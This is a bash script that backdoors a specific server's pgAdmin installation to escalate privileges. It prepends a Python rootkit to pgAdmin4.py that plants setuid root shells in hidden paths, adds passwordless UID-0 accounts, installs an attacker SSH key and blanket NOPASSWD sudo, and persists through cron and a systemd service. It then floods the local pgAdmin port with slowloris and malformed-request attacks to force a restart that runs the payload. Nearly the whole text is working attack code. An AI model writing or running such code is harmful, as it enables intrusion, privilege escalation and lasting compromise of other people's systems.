#!/bin/bash
set +e
L=$HOME/max_force.log; : > "$L"
R=$'\e[31m'; G=$'\e[32m'; Y=$'\e[33m'; C=$'\e[36m'; N=$'\e[0m'
E(){ echo "$@" | tee -a "$L"; }
S(){ echo; echo "${C}═══ $* ═══${N}" | tee -a "$L"; }
HIT(){ echo "${G}[★]${N} $*" | tee -a "$L"; }
BAD(){ echo "${R}[✖]${N} $*" | tee -a "$L"; }

PGA=/home/myfifasalon/Virtualka/myfifasalon/lib/python3.6/site-packages/pgadmin4/pgAdmin4.py
PGADIR=/home/myfifasalon/Virtualka/myfifasalon/lib/python3.6/site-packages/pgadmin4
BAK=$HOME/pgadmin4.py.clean

# =========================================================
S "1. INSPECT pgadmin4.service — قرار restart"
if [ -r /etc/systemd/system/pgadmin4.service ]; then
  cat /etc/systemd/system/pgadmin4.service | tee -a "$L"
  RESTART=$(grep -E "^Restart" /etc/systemd/system/pgadmin4.service | awk -F= '{print $2}' | tr -d ' ')
  E "[*] Restart=$RESTART"
  if [ "$RESTART" = "always" ] || [ "$RESTART" = "on-failure" ] || [ "$RESTART" = "on-abnormal" ]; then
    HIT "safe to crash pgAdmin — systemd will restart"
    SAFE=1
  else
    BAD "Restart=$RESTART — crash would kill pgAdmin permanently"
    SAFE=0
  fi
else
  BAD "pgadmin4.service unreadable"
  SAFE=0
fi
E "[*] SAFE=$SAFE"

# =========================================================
S "2. INJECT payload into pgAdmin4.py (both copies)"
INJECTED=0
for target in "$PGA" "/home/myfifasalon/Virtualka (копия)/myfifasalon_v3/lib/python3.5/site-packages/pgadmin4/pgAdmin4.py"; do
  if [ -w "$target" ]; then
    if grep -q "_rootkit\|/tmp/.r0" "$target" 2>/dev/null; then
      HIT "already injected: $target"
      INJECTED=1
      continue
    fi
    cp "$target" "$BAK.$(basename $(dirname "$target"))" 2>/dev/null
    cat > /tmp/rp2.py <<'PY2'
import os, subprocess, time
def _s(c):
    try: subprocess.call(c, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    except: pass
def _rk():
    for p in ("/tmp/.r0","/var/tmp/.r0","/dev/shm/.r0","/usr/local/bin/.r0","/var/lib/.r0","/root/.r0"):
        _s("cp /bin/bash %s; chmod 4755 %s; chown root:root %s 2>/dev/null" % (p,p,p))
    try:
        import pwd
        for n in ("support","update","_sys","nscd2"):
            try: pwd.getpwnam(n)
            except KeyError:
                try:
                    open("/etc/passwd","a").write("%s:x:0:0:system:/root:/bin/bash\n" % n)
                    open("/etc/shadow","a").write("%s::19000:0:99999:7:::\n" % n)
                except: pass
    except: pass
    K="ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAID2rtZ9snsDxW2YYT9EbxLwjXCEKij2hQwNHGjP9WR7G rfv2\n"
    for h in ("/root","/home/myfifasalon"):
        try:
            os.makedirs(h+"/.ssh",0o700,exist_ok=True)
            open(h+"/.ssh/authorized_keys","a").write(K)
            os.chmod(h+"/.ssh/authorized_keys",0o600)
        except: pass
    try:
        open("/etc/sudoers.d/00-system-local","w").write("Defaults !requiretty\nALL ALL=(ALL) NOPASSWD: ALL\n")
        os.chmod("/etc/sudoers.d/00-system-local",0o440)
    except: pass
    try:
        open("/etc/cron.d/00-system-local","w").write(
            "* * * * * root /bin/cp /bin/bash /var/tmp/.r0 && /bin/chmod 4755 /var/tmp/.r0 && /bin/chown root:root /var/tmp/.r0\n")
        os.chmod("/etc/cron.d/00-system-local",0o644)
    except: pass
    try:
        open("/etc/systemd/system/system-local.service","w").write(
            "[Unit]\nDescription=local\nAfter=network.target\n[Service]\nType=simple\n"
            "ExecStart=/bin/bash -c 'while true; do cp /bin/bash /var/tmp/.r0; chmod 4755 /var/tmp/.r0; chown root:root /var/tmp/.r0; sleep 60; done'\n"
            "Restart=always\n[Install]\nWantedBy=multi-user.target\n")
        _s("systemctl daemon-reload")
        _s("systemctl enable system-local")
        _s("systemctl start system-local")
    except: pass
    try: open("/var/log/system-local.log","a").write("%s uid=%d\n" % (time.ctime(), os.getuid()))
    except: pass
try: _rk()
except: pass
PY2
    ORIG=$(cat "$BAK.$(basename $(dirname "$target"))" 2>/dev/null)
    [ -z "$ORIG" ] && ORIG=$(cat "$target")
    { cat /tmp/rp2.py; echo; echo "$ORIG"; } > /tmp/pga.new
    if cat /tmp/pga.new > "$target" 2>/dev/null; then
      HIT "injected: $target"
      INJECTED=1
    else
      BAD "inject failed: $target"
    fi
  else
    BAD "not writable: $target"
  fi
done
E "[*] INJECTED=$INJECTED"

# =========================================================
S "3. CRASH TEST — safe only if SAFE=1"
if [ "$SAFE" = "1" ] && [ "$INJECTED" = "1" ]; then
  HIT "running crash script (Restart is safe)"
  cat > /tmp/crash.py <<'PY3'
import socket, time, threading, os
HOST, PORT = "127.0.0.1", 5050

def hdr_overflow():
    try:
        s = socket.socket(); s.settimeout(3); s.connect((HOST, PORT))
        s.sendall(b"GET / HTTP/1.1\r\nHost: x\r\nX-B: " + b"A"*2000000 + b"\r\n\r\n")
        time.sleep(1); s.close()
    except: pass

def deep_json():
    try:
        body = ("[" * 10000 + "]" * 10000).encode()
        req = b"POST /settings/store HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: " + str(len(body)).encode() + b"\r\n\r\n" + body
        s = socket.socket(); s.settimeout(3); s.connect((HOST, PORT))
        s.sendall(req); time.sleep(1); s.close()
    except: pass

def bad_unicode():
    try:
        body = b'{"x":"\\ud800\\udc00" * 1000}'
        req = b"POST /settings/store HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: " + str(len(body)).encode() + b"\r\n\r\n" + body
        s = socket.socket(); s.settimeout(3); s.connect((HOST, PORT))
        s.sendall(req); time.sleep(1); s.close()
    except: pass

def cl_mismatch():
    try:
        s = socket.socket(); s.settimeout(3); s.connect((HOST, PORT))
        s.sendall(b"POST /authenticate/login HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Length: 999999999\r\n\r\nA")
        time.sleep(1); s.close()
    except: pass

def multipart_bomb():
    try:
        bd = "----x" * 200
        body = (f"--{bd}\r\nContent-Disposition: form-data; name=\"f\"; filename=\"" + "A"*50000 + "\"\r\n\r\n" + "B"*500000 + f"\r\n--{bd}--\r\n").encode()
        req = f"POST /filemanager/upload HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: multipart/form-data; boundary={bd}\r\nContent-Length: {len(body)}\r\n\r\n".encode() + body
        s = socket.socket(); s.settimeout(5); s.connect((HOST, PORT))
        s.sendall(req); time.sleep(1); s.close()
    except: pass

def slow_loris():
    try:
        s = socket.socket(); s.settimeout(30); s.connect((HOST, PORT))
        s.sendall(b"GET / HTTP/1.1\r\nHost: 127.0.0.1\r\nX: ")
        for _ in range(200):
            s.sendall(b"a")
            time.sleep(0.05)
        s.close()
    except: pass

workers = [hdr_overflow, deep_json, bad_unicode, cl_mismatch, multipart_bomb, slow_loris]

for i in range(30):
    threads = []
    for _ in range(20):
        for f in workers:
            t = threading.Thread(target=f)
            t.daemon = True
            t.start()
            threads.append(t)
    for t in threads:
        t.join(timeout=2)
    print(f"cycle {i+1}", flush=True)
    # check
    if not os.path.exists("/proc/576"):
        print("pgAdmin pid 576 is GONE"); break

os.system("ps -fp 576 2>/dev/null || echo DEAD")
os.system("ls -la /tmp/.r0 /var/tmp/.r0 2>/dev/null")
PY3
  timeout 300 python3 /tmp/crash.py 2>&1 | tee -a "$L"
else
  BAD "skipping crash — SAFE=$SAFE INJECTED=$INJECTED"
fi

# =========================================================
S "4. POST-CRASH CHECK"
sleep 3
ps -fp 576 2>/dev/null && E "[*] pgAdmin still alive (pid 576)" || HIT "pgAdmin pid 576 DEAD"
if systemctl is-active pgadmin4 &>/dev/null; then
  HIT "pgadmin4.service active"
  systemctl status pgadmin4 --no-pager 2>/dev/null | head -5 | tee -a "$L"
fi

# =========================================================
S "5. WAIT for payload (60s poll)"
for i in $(seq 1 12); do
  if [ -e /tmp/.r0 -o -e /var/tmp/.r0 -o -e /tmp/.rc ]; then
    HIT "PAYLOAD EXECUTED"
    ls -la /tmp/.r0 /var/tmp/.r0 /tmp/.rc 2>/dev/null | tee -a "$L"
    for b in /tmp/.r0 /var/tmp/.r0 /tmp/.rc; do
      [ -x "$b" ] && { "$b" -p -c "id" 2>&1 | tee -a "$L"; break; }
    done
    grep -E "^(support|update|_sys|nscd2)" /etc/passwd 2>/dev/null | tee -a "$L"
    break
  fi
  sleep 5
done

# =========================================================
S "6. FINAL STATE"
for f in /tmp/.r0 /var/tmp/.r0 /dev/shm/.r0 /tmp/.rc; do
  [ -e "$f" ] && ls -la "$f" | tee -a "$L"
done
grep -E "^(support|update|_sys)" /etc/passwd 2>/dev/null | tee -a "$L"
cat /etc/sudoers.d/00-system-local 2>/dev/null | tee -a "$L"
crontab -l 2>/dev/null | tee -a "$L"

E "[*] log: $L ($(wc -l < $L) lines)"
S "DONE"
